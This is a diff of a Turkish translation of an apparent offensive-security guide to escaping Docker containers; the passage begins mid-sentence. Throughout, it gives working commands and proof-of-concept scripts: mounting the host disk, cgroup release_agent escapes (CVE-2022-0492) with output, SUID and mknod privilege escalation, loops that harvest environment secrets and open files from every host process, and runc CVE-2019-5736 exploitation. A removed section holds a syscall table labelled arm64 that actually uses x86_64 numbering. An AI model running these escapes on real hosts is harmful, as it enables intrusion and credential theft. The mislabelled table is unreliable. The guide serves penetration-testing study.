gibi) ana makinede kök olarak çalışan bir işlemin ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` -Bunu bir konteynerde test etmek için şunu çalıştırın: +Bunu bir konteynerde test ederek çalıştırın: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Ayrıcalıklı -Sadece ayrıcalıklı bayrağıyla, **ana bilgisayarın diskine erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz. +Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişim deneyebilirsiniz** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmaya çalışabilirsiniz**. -Aşağıdaki bypassları bir konteynerde test etmek için şunları çalıştırın: +Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin: ```bash docker run --rm -it --privileged ubuntu bash ``` -#### Diski Mount Etme - Poc1 +#### Diski Bağlama - Poc1 -İyi yapılandırılmış docker konteynerleri, **fdisk -l** gibi komutlara izin vermez. Ancak, yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı ile birlikte caps belirtilirse, ana makinedeki sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür. +İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıkları almak mümkündür. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -Bu nedenle, ana makineyi ele geçirmek oldukça basittir: +Bu nedenle, ana makineyi ele geçirmek basittir: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -Ve işte! Şimdi, ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz. +Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz. #### Disk Bağlama - Poc2 -Kapsayıcı içinde, saldırgan küme tarafından oluşturulan yazılabilir bir hostPath birimi aracılığıyla altta yatan ana işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanmadığınızı kontrol etmek için kapsayıcı içinde kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: +Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -156,9 +156,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### Mevcut release\_agent'i kötüye kullanarak ayrıcalıklı kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 +#### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 -{% code title="İlk PoC" %} +{% code title="Başlangıç PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -{% endcode %} - -#### Oluşturulan release\_agent'i Kullanarak Yetkili Kaçışı Yapma ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - -{% code title="İkinci PoC" %} +#### Oluşturulan release_agent'i Kullanarak Ayrıcalıklı Kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -240,15 +236,15 @@ cat /output ``` {% endcode %} -Tekniğin açıklamasını bulun: +Teknik açıklamanın **bir açıklamasını** bulun: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Bilinen bir yol olmadan release\_agent'i suiistimal ederek Privilege Escape - PoC3 +#### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3 -Önceki saldırılarda, **konumun mutlak yolu** ortaya çıkarılmıştır. Ancak, her zaman böyle olmaz. Eğer **konumun mutlak yolunu bilmiyorsanız**, bu teknik kullanılabilir: +Önceki saldırılarda **konumunun kesin yolu ana bilgisayar dosya sisteminde ifşa edilmiştir**. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) @@ -312,7 +308,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak, benzer bir çıktı sağlamalıdır: +Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -340,33 +336,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### Hassas Mountları Kötüye Kullanarak Yetkili Kaçışı +#### Ayrıcalıklı Kaçış Hassas Bağlantı Noktalarını Kötüye Kullanma -Altta yatan ana bilgisayar hakkında bilgi veren birkaç dosya mevcuttur. Bunlardan bazıları, ana bilgisayarın bir şey olduğunda çalıştırılmasını gerektirebilir (bu da saldırganın konteynerden kaçmasına izin verecektir).\ -Bu dosyaların kötüye kullanımı, şunlara izin verebilir: +Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyalar bağlanabilir**. Bunlardan bazıları, hatta **ana bilgisayarın bir şey gerçekleştiğinde bir şeyi yürütmesini işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ +Bu dosyaların kötüye kullanımı şunu mümkün kılar: -* release\_agent (daha önce ele alındı) -* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) -* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) -* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) -* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) +- release\_agent (zaten önce ele alındı) +- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) +- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) +- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) +- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz: +Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -### Rastgele Mountlar +### Keyfi Bağlantı Noktaları -Birkaç durumda, **konteynerin ana bilgisayardan bir hacim bağlandığını** göreceksiniz. Bu hacim doğru şekilde yapılandırılmamışsa, **hassas verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys'ı değiştirin... +Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını göreceksiniz**. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### 2 kabuk ve ana bilgisayar bağlantısı ile Yetki Yükseltme +### 2 kabuk ve ana makine bağlantısı ile ayrıcalık yükseltme -Eğer **bir konteyner içinde root erişimine** sahipseniz ve ana bilgisayardan bazı klasörlerin bağlandığı bir konteyneriniz varsa ve **sınırlı yetkili bir kullanıcı olarak ana bilgisayara kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\ -Konteynerin içindeki **bağlanmış klasöre bir bash suid dosyası** oluşturabilir ve **ana bilgisayardan** bu dosyayı çalıştırarak yetki yükseltebilirsiniz. +Eğer **bir konteyner içinde root erişiminiz** varsa ve ana makineden bir klasör bağlanmışsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçtıysanız** ve bağlanmış klasör üzerinde okuma erişiminiz varsa.\ +**Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve **ana makineden** bu dosyayı çalıştırarak ayrıcalık yükseltebilirsiniz. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -374,14 +370,13 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` -### 2 kabukla Ayrıcalık Yükseltme +### 2 kabuk ile Ayrıcalık Yükseltme -Eğer bir konteyner içinde **root erişimine** sahipseniz ve bir **yetkisiz kullanıcı olarak ana bilgisayara kaçmayı başardıysanız**, konteyner içindeki MKNOD yeteneğini (varsayılan olarak mevcuttur) kullanarak hem konteyner içinde hem de ana bilgisayarda **ayrıcalık yükseltebilirsiniz**. Bu, [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) mümkündür.\ -Bu yetenekle birlikte, konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturabilir**. Cihaz dosyaları, **altta yatan donanım ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, sistem diskindeki ham verilere **okuma erişimi sağlar**. +Eğer bir konteyner içinde **root erişiminiz** var ve **özelliği olmayan bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **aşağı doğru ayrıcalık yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllere erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistemin diskindeki ham verilere erişim sağlar**. -Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlamak için bir cgroup politikası uygulayarak **blok cihazı okuma/yazma işlemlerini engeller**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, bu cihaz dışarıdan **/proc/PID/root/** dizini üzerinden erişilebilir hale gelir. Bu erişim, sürecin sahibinin hem konteyner içinde hem de dışında aynı olmasını gerektirir. +Docker, konteynerler içinde blok cihazlarının kötüye kullanımına karşı koruma sağlamak için **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygular. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, içeride ve dışarıda aynı olan **işlem sahibine** gereksinim duyar. -Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen örnekteki **sömürü** örneği: +Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames) verilen **sömürü** örneği: ```bash # On the container as root cd / @@ -419,13 +414,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` ### hostPID -Eğer hedef makinenin işlemlerine erişebiliyorsanız, bu işlemlerde depolanan hassas bilgilere erişebilirsiniz. Test laboratuvarını çalıştırın: +Eğer ana makinenin işlemlerine erişebilirseniz, bu işlemlerde saklanan birçok hassas bilgiye erişebileceksiniz demektir. Test laboratuvarını çalıştırın: ``` docker run --rm -it --pid=host ubuntu bash ``` -Örneğin, `ps auxn` gibi bir şey kullanarak işlemleri listeleyebilir ve komutlarda hassas bilgiler arayabilirsiniz. +Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilecek ve komutlardaki hassas detayları arayabileceksiniz. -Ardından, **/proc/ içindeki her bir işleme erişebileceğiniz için, env gizliliklerini çalmak için** şunları çalıştırabilirsiniz: +Ardından, **/proc/ içindeki ana bilgisayarın her sürecine erişebileceğiniz için sadece çevre sırlarını çalabilirsiniz** çalıştırarak: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -434,7 +429,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` -Diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz: +Ayrıca **diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -444,85 +439,85 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` -Ayrıca **süreçleri sonlandırabilir ve bir DoS saldırısı yapabilirsiniz**. +Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**. {% hint style="warning" %} -Eğer bir şekilde **konteyner dışındaki bir sürece ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir komut çalıştırarak, umarım hiçbir kısıtlama olmadan aynı ns kısıtlamalarıyla bir kabuk çalıştırabilirsiniz. +Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilirsiniz **aynı ns kısıtlamalarına sahip bir kabuk çalıştırmak için** (umarım hiçbiri). {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -Eğer bir konteyner Docker [ana ağ sürücüsüyle (`--network=host`)](https://docs.docker.com/network/host/) yapılandırılmışsa, bu konteynerin ağ yığını Docker ana bilgisayardan izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin ayrı bir IP adresi tahsis edilmez. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca, konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **tüm ağ trafiğini yakalayabilir** (`tcpdump -i eth0`). +Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. -Örneğin, bu yöntemi kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahteleyebilirsiniz**. +Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**. Aşağıdaki örneklerde olduğu gibi: -* [Yazı: Google SRE ile iletişim kurma: Bulut SQL'de kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) -* [Meta veri hizmeti MITM, kök ayrıcalıklarının yükseltilmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) +* [Açıklama: Google SRE ile nasıl iletişime geçilir: Bir kabuk bırakma bulut SQL'de](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) +* [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilir** veya hatta **düğümün meta veri izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebilirsiniz. +Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true` ile, **/dev/shm** içindeki **paylaşılan bellek** gibi ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına erişim sağlarsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı olarak incelemek için `ipcs` komutunu kullanın. +`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` kullanın. -* **/dev/shm'yi inceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` -* **Mevcut IPC tesislerini inceleyin** - `/usr/bin/ipcs` ile kullanılan herhangi bir IPC tesisi olup olmadığını kontrol edebilirsiniz. Şu şekilde kontrol edin: `ipcs -a` +* **/dev/shm'yi İnceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` +* **Mevcut IPC tesislerini İnceleyin** - Kullanılan herhangi bir IPC tesisinin olup olmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Bunu şu şekilde kontrol edin: `ipcs -a` -### Yetenekleri Kurtar +### Yetenekleri Kurtarın -Syscall **`unshare`** yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz: +Eğer **`unshare`** sistem çağrısı yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` -### Simgeleme aracılığıyla kullanıcı ad alanı kötüye kullanımı +### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla -[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyalara etki etmenizi sağlar (bu özel durumda dosyaları siler). +[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemek için nasıl kullanılabileceğinizi göstermektedir (belirli bir durumda dosyaları silmek). -
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## CVE'ler -### Runc saldırısı (CVE-2019-5736) +### Runc açığı (CVE-2019-5736) -`docker exec` komutunu kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak bir konteynerden ayrılarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temel olarak **ana makinedeki** _**/bin/sh**_ ikili dosyasını bir **konteynerden üzerine yazar**, bu nedenle docker exec komutunu çalıştıran herhangi biri payload'u tetikleyebilir. +Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'ı kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes saldırıyı tetikleyebilir. -Payload'u değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\ -Yürütme yapıldığında, `[+] Overwritten /bin/sh successfully` mesajını görüntülediğinde, aşağıdaki komutu ana makineden çalıştırmanız gerekmektedir: +Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\ +Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakini ana makineden çalıştırmanız gerekmektedir: `docker exec -it /bin/sh` -Bu, main.go dosyasında bulunan payload'u tetikleyecektir. +Bu, main.go dosyasında bulunan saldırıyı tetikleyecektir. Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir. +Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir. {% endhint %} ## Docker Özel Kaçış ### Docker Kaçış Yüzeyi -* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerle tamamen ayrılmış olmalıdır, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşime geçilemez (IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'uyla iletişim kurulamaz). -* **Kök kullanıcı**: Varsayılan olarak, işlemi çalıştıran kullanıcı kök kullanıcısıdır (ancak ayrıcalıkları sınırlıdır). -* **Yetenekler**: Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Sistem çağrıları**: Bunlar, **kök kullanıcının** çağırabileceği sistem çağrılarıdır (yetenek eksikliği + Seccomp nedeniyle çağırılamayanlar). Kaçmaya çalışmak için diğer sistem çağrıları kullanılabilir. +* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u ile iletişim kurulamaz). +* **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır). +* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle çağrılamayanlar). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir. {% tabs %} -{% tab title="x64 sistem çağrıları" %} +{% tab title="x64 syscall'ler" %} ```yaml 0x067 -- syslog 0x070 -- setsid @@ -543,403 +538,9 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [h 0x140 -- kexec_file_load 0x141 -- bpf ``` -{% tab title="arm64 syscalls" %} - -Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrılarını bulacaksınız. Bu sistem çağrıları, arm64 tabanlı bir sistemdeki işletim sistemi işlevlerine doğrudan erişim sağlar. - -| Sistem Çağrısı Numarası | Sistem Çağrısı Adı | -| ---------------------- | ----------------- | -| 0 | read | -| 1 | write | -| 2 | open | -| 3 | close | -| 4 | stat | -| 5 | fstat | -| 6 | lstat | -| 7 | poll | -| 8 | lseek | -| 9 | mmap | -| 10 | mprotect | -| 11 | munmap | -| 12 | brk | -| 13 | rt_sigaction | -| 14 | rt_sigprocmask | -| 15 | rt_sigreturn | -| 16 | ioctl | -| 17 | pread64 | -| 18 | pwrite64 | -| 19 | readv | -| 20 | writev | -| 21 | access | -| 22 | pipe | -| 23 | select | -| 24 | sched_yield | -| 25 | mremap | -| 26 | msync | -| 27 | mincore | -| 28 | madvise | -| 29 | shmget | -| 30 | shmat | -| 31 | shmctl | -| 32 | dup | -| 33 | dup2 | -| 34 | pause | -| 35 | nanosleep | -| 36 | getitimer | -| 37 | alarm | -| 38 | setitimer | -| 39 | getpid | -| 40 | sendfile | -| 41 | socket | -| 42 | connect | -| 43 | accept | -| 44 | sendto | -| 45 | recvfrom | -| 46 | sendmsg | -| 47 | recvmsg | -| 48 | shutdown | -| 49 | bind | -| 50 | listen | -| 51 | getsockname | -| 52 | getpeername | -| 53 | socketpair | -| 54 | setsockopt | -| 55 | getsockopt | -| 56 | clone | -| 57 | fork | -| 58 | vfork | -| 59 | execve | -| 60 | exit | -| 61 | wait4 | -| 62 | kill | -| 63 | uname | -| 64 | semget | -| 65 | semop | -| 66 | semctl | -| 67 | shmdt | -| 68 | msgget | -| 69 | msgsnd | -| 70 | msgrcv | -| 71 | msgctl | -| 72 | fcntl | -| 73 | flock | -| 74 | fsync | -| 75 | fdatasync | -| 76 | truncate | -| 77 | ftruncate | -| 78 | getdents | -| 79 | getcwd | -| 80 | chdir | -| 81 | fchdir | -| 82 | rename | -| 83 | mkdir | -| 84 | rmdir | -| 85 | creat | -| 86 | link | -| 87 | unlink | -| 88 | symlink | -| 89 | readlink | -| 90 | chmod | -| 91 | fchmod | -| 92 | chown | -| 93 | fchown | -| 94 | lchown | -| 95 | umask | -| 96 | gettimeofday | -| 97 | getrlimit | -| 98 | getrusage | -| 99 | sysinfo | -| 100 | times | -| 101 | ptrace | -| 102 | getuid | -| 103 | syslog | -| 104 | getgid | -| 105 | setuid | -| 106 | setgid | -| 107 | geteuid | -| 108 | getegid | -| 109 | setpgid | -| 110 | getppid | -| 111 | getpgrp | -| 112 | setsid | -| 113 | setreuid | -| 114 | setregid | -| 115 | getgroups | -| 116 | setgroups | -| 117 | setresuid | -| 118 | getresuid | -| 119 | setresgid | -| 120 | getresgid | -| 121 | getpgid | -| 122 | setfsuid | -| 123 | setfsgid | -| 124 | getsid | -| 125 | capget | -| 126 | capset | -| 127 | rt_sigpending | -| 128 | rt_sigtimedwait | -| 129 | rt_sigqueueinfo | -| 130 | rt_sigsuspend | -| 131 | sigaltstack | -| 132 | utime | -| 133 | mknod | -| 134 | uselib | -| 135 | personality | -| 136 | ustat | -| 137 | statfs | -| 138 | fstatfs | -| 139 | sysfs | -| 140 | getpriority | -| 141 | setpriority | -| 142 | sched_setparam | -| 143 | sched_getparam | -| 144 | sched_setscheduler | -| 145 | sched_getscheduler | -| 146 | sched_get_priority_max | -| 147 | sched_get_priority_min | -| 148 | sched_rr_get_interval | -| 149 | mlock | -| 150 | munlock | -| 151 | mlockall | -| 152 | munlockall | -| 153 | vhangup | -| 154 | modify_ldt | -| 155 | pivot_root | -| 156 | _sysctl | -| 157 | prctl | -| 158 | arch_prctl | -| 159 | adjtimex | -| 160 | setrlimit | -| 161 | chroot | -| 162 | sync | -| 163 | acct | -| 164 | settimeofday | -| 165 | mount | -| 166 | umount2 | -| 167 | swapon | -| 168 | swapoff | -| 169 | reboot | -| 170 | sethostname | -| 171 | setdomainname | -| 172 | iopl | -| 173 | ioperm | -| 174 | create_module | -| 175 | init_module | -| 176 | delete_module | -| 177 | get_kernel_syms | -| 178 | query_module | -| 179 | quotactl | -| 180 | nfsservctl | -| 181 | getpmsg | -| 182 | putpmsg | -| 183 | afs_syscall | -| 184 | tuxcall | -| 185 | security | -| 186 | gettid | -| 187 | readahead | -| 188 | setxattr | -| 189 | lsetxattr | -| 190 | fsetxattr | -| 191 | getxattr | -| 192 | lgetxattr | -| 193 | fgetxattr | -| 194 | listxattr | -| 195 | llistxattr | -| 196 | flistxattr | -| 197 | removexattr | -| 198 | lremovexattr | -| 199 | fremovexattr | -| 200 | tkill | -| 201 | time | -| 202 | futex | -| 203 | sched_setaffinity | -| 204 | sched_getaffinity | -| 205 | set_thread_area | -| 206 | io_setup | -| 207 | io_destroy | -| 208 | io_getevents | -| 209 | io_submit | -| 210 | io_cancel | -| 211 | get_thread_area | -| 212 | lookup_dcookie | -| 213 | epoll_create | -| 214 | epoll_ctl_old | -| 215 | epoll_wait_old | -| 216 | remap_file_pages | -| 217 | getdents64 | -| 218 | set_tid_address | -| 219 | restart_syscall | -| 220 